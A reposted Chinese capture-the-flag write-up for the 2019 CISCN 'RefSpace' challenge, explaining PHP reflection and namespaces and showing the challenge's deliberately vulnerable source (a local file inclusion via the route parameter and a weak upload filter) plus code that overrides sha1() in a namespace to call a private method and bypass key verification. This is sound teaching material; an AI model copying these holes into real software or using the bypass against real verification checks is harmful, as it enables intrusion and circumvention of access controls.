2019 CISCN RefSpace

栏目: 编程工具 · 发布时间: 6年前

内容简介:国赛中 RefSpace 那道题的 wp 与研究。国赛 day2 出现了一道比较有意思的题,最后貌似只有5人能解出。赛时我尝试通过覆写函数来实现直接 getFlag ,最后发现自己还是太年轻了,预期解应该就是通过 php 反射类来覆写 namespace 中的所以整个题解题思路大致是:

国赛中 RefSpace 那道题的 wp 与研究。

国赛 day2 出现了一道比较有意思的题,最后貌似只有5人能解出。赛时我尝试通过覆写函数来实现直接 getFlag ,最后发现自己还是太年轻了,预期解应该就是通过 php 反射类来覆写 namespace 中的 sha1() 函数来达到 getFlag。

所以整个题解题思路大致是:

sha1

让我们首先来了解一下 php 反射

Reflection

PHP 5 具有完整的反射 API,添加了对类、接口、函数、方法和扩展进行*反向工程*的能力。 此外,反射 API 提供了方法来取出函数、类和方法中的文档注释。 请注意部分内部 API 丢失了反射扩展工作所需的代码。 例如,一个内置的 PHP 类可能丢失了反射属性的数据。这些少数的情况被认为是错误,不过, 正因为如此,它们应该被发现和修复。

反射,直观理解就是根据到达地找到出发地和来源。比如,一个光秃秃的对象,我们可以仅仅通过这个对象就能知道它所属的类、拥有哪些方法。

GET

Reflection Class 中我们可以看到很多比较有趣的 api ,例如 getProperties

官方文档也给出了例子:

<?php
class Foo {
    public    $foo  = 1;
    protected $bar  = 2;
    private   $baz  = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);
$props   = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED);

foreach ($props as $prop) {
    print $prop->getName() . "\n";
}

var_dump($props);

?>

OutPut:

foo
bar
array(2) {
  [0]=>
  object(ReflectionProperty)#3 (2) {
    ["name"]=>
    string(3) "foo"
    ["class"]=>
    string(3) "Foo"
  }
  [1]=>
  object(ReflectionProperty)#4 (2) {
    ["name"]=>
    string(3) "bar"
    ["class"]=>
    string(3) "Foo"
  }
}

读取私有成员变量

如果想要输出私有变量,就加上 ReflectionProperty::IS_PRIVATE 即可。

执行私有函数

既然可以拿到类成员的值,那么函数返回值能不能拿到呢?

当然是可以的

class Foo {
    private function showFlag(){
        return 'This is not flag';
    }
}

$reflectionMethod = new ReflectionMethod('Foo', 'showFlag');
$reflectionMethod->setAccessible(true);
echo $reflectionMethod->invoke(new Foo());

OutPut:

This is not flag

SET

修改类的成员变量

利用 ReflectionProperty::setValue 可以修改成员变量,可以参考 官方文档 给出示例,这里也给一个例子,修改 private 或者 protected 类型的变量也要加上 setAccessible(true) ,否则会报错

class Foo {
    public    $foo  = 1;
    protected $bar  = 2;
    private   $baz  = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);

//change foo fron 1 to 5
$reflect->getProperty('foo')->setValue($foo, '5');

//change baz from 3 to 4
$baz = $reflect->getProperty('baz');
$baz->setAccessible(true);
$baz->setValue($foo, '4');

//Output
$props   = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED | ReflectionProperty::IS_PRIVATE);

foreach ($props as $prop) {
    $prop->setAccessible(true);
    print $prop->getName() . "\n";
    print $prop->getValue($foo)."\n";
}

Output:

foo 5 bar 2 baz 4

修改函数返回值

并不能直接修改函数返回值

Namespace

这里简单提一下 php 中的 namespace 命名空间,简单来说 php 命名空间为了解决的就是覆写 php 内部函数的问题,详细可以 参考命名空间概述

举个例子:

namespace Foo;
function sha1($key){
    return "This is Foo sha1";
}
var_dump(sha1('1'));
var_dump(\sha1('1'));

Output:

/test.php:6:string 'This is Foo sha1' (length=18)

/test.php:7:string '356a192b7913b04c54574d18c28d46e6395428ab' (length=40)

RefSpace

接着我们来看看这个题,首先通过一系列操作 getshell ,参考 zip或phar协议包含文件 ),这里就略过了,都是重复性简单的操作,得到以下源码

app/index

<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>

    Hi CTFer,<br />
    这是一个非常非常简单的SDK服务,它的任务是给各位大佬<!--鼠-->提供flag<br />
    Powered by Aoisystem<br />
    <!-- error_reporting(E_ALL); -->
    
</body>

</html>

app/Up10aD

<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}

if (isset($_FILES["file"])) {
    $filename = $_FILES["file"]["name"];
    $fileext = ".gif";
    switch ($_FILES["file"]["type"]) {
        case 'image/gif':
            $fileext = ".gif";
            break;
        case 'image/jpeg':
            $fileext = ".jpg";
            break;
        default:
            echo "Only gif/jpg allowed";
            exit();
    }
    $dst = "upload/" . $_FILES["file"]["name"] . $fileext;
    move_uploaded_file($_FILES["file"]["tmp_name"], $dst);
    echo "文件保存位置: {$dst}<br />";
}
?>
<html>

<head>
    <meta charset="UTF-8">
</head>

<body>
    我们不能让选手轻而易举的搜索到上传接口。<br />
    即便是运气好的人碰巧遇到了,我相信我们的过滤是万无一失的(才怪
    <form method="post" enctype="multipart/form-data">
        <label for="file">来选择你的文件吧:</label>
        <input type="file" name="file" id="file" />
        <br />
        <input type="submit" name="submit" value="Submit" />
    </form>

</body>

</html>

index.php

<?php
error_reporting(E_ALL);
define('LFI', 'LFI');
$lfi = $_GET['route'] ?? false;
if (!$lfi) {
    header("location: ?route=app/index");
    exit();
}
include "{$lfi}.php";
//Good job, you know how to use LFI, don't you?
//But You are still far from flag
//hint: ?router=app/flag

app/flag

<?php
if (!defined('LFI')) {
    echo "Include me!";
    exit();
}
use interesting\FlagSDK;
$sdk = new FlagSDK();
$key = $_GET['key'] ?? false;
if (!$key) {
    echo "Please provide access key<br \>";
    echo '$_GET["key"];';
    exit();
}
$flag = $sdk->verify($key);
if ($flag) {
    echo $flag;
} else {
    echo "Wrong Key";
    exit();
}
//Do you want to know more about this SDK?
//we 'accidentally' save a backup.zip for more information

sdk 开发文档.txt:

我们的SDK通过如下SHA1算法验证key是否正确:

public function verify($key)
{
    if (sha1($key) === $this->getHash()) {
        return "too{young-too-simple}";
    }
    return false;
}

如果正确的话,我们的SDK会返回flag。

PS: 为了节省各位大佬的时间,特注明
	1.此处函数return值并不是真正的flag,和真正的flag没有关系。
	2.此处调用的sha1函数为PHP语言内建的hash函数。(http://php.net/manual/zh/function.sha1.php)
	3.您无须尝试本地解码或本地运行sdk.php,它被预期在指定服务器环境上运行。
	4.几乎大部分源码内都有一定的hint,如果您是通过扫描目录发现本文件的,您可能还有很长的路要走。

所以这里重点就是 flag.php 了,之前我们提到过可以在命名空间覆写函数,可是即使可以覆写,那要怎么绕过 verify 这个函数呢?

Invoke

我们可以发现在 verify 函数中, getHash() 函数并没有传参,很有可能就是直接返回了一个固定值或者随机值什么的,那我们是不是可以利用反射类来执行 getHash() 函数,覆写 sha1() 函数绕过 verify 判断呢?

于是我们可以操作一波

<?php
namespace interesting;

class FlagSDK{

    private function getHash(){
        return \sha1('test');
    }

    public function verify($key)
    {
        if (sha1($key) === $this->getHash()) {
            return "flag{xxx}";
        }
        return false;
    }
}
$sdk = new FlagSDK();

function sha1($key){
    $reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash');
    $reflectionMethod->setAccessible(true);
    return $reflectionMethod->invoke(new FlagSDK());
}

$flag = $sdk->verify('1');
if ($flag) {
    echo $flag;
} else {
    echo "Wrong Key";
    exit();
}

基本构造如上,由于环境已经关了,只能本地实现以下,思路就是以上说的通过反射类来覆写 namespace 的 sha1 函数来达到绕过效果

做题的时候 flag.php 是有写权限的,所以我们只要把 sha1 代码写入 flag.php 就可以了

function sha1($key){
    $reflectionMethod = new \ReflectionMethod('interesting\FlagSDK', 'getHash');
    $reflectionMethod->setAccessible(true);
    return $reflectionMethod->invoke(new FlagSDK());
}

当然,也可以像 @zsx 师傅一样手撕加密 orz …


以上所述就是小编给大家介绍的《2019 CISCN RefSpace》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

Artificial Intelligence

Artificial Intelligence

Stuart Russell、Peter Norvig / Pearson / 2009-12-11 / USD 195.00

The long-anticipated revision of this #1 selling book offers the most comprehensive, state of the art introduction to the theory and practice of artificial intelligence for modern applications. Intell......一起来看看 《Artificial Intelligence》 这本书的介绍吧!

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具

HSV CMYK 转换工具
HSV CMYK 转换工具

HSV CMYK互换工具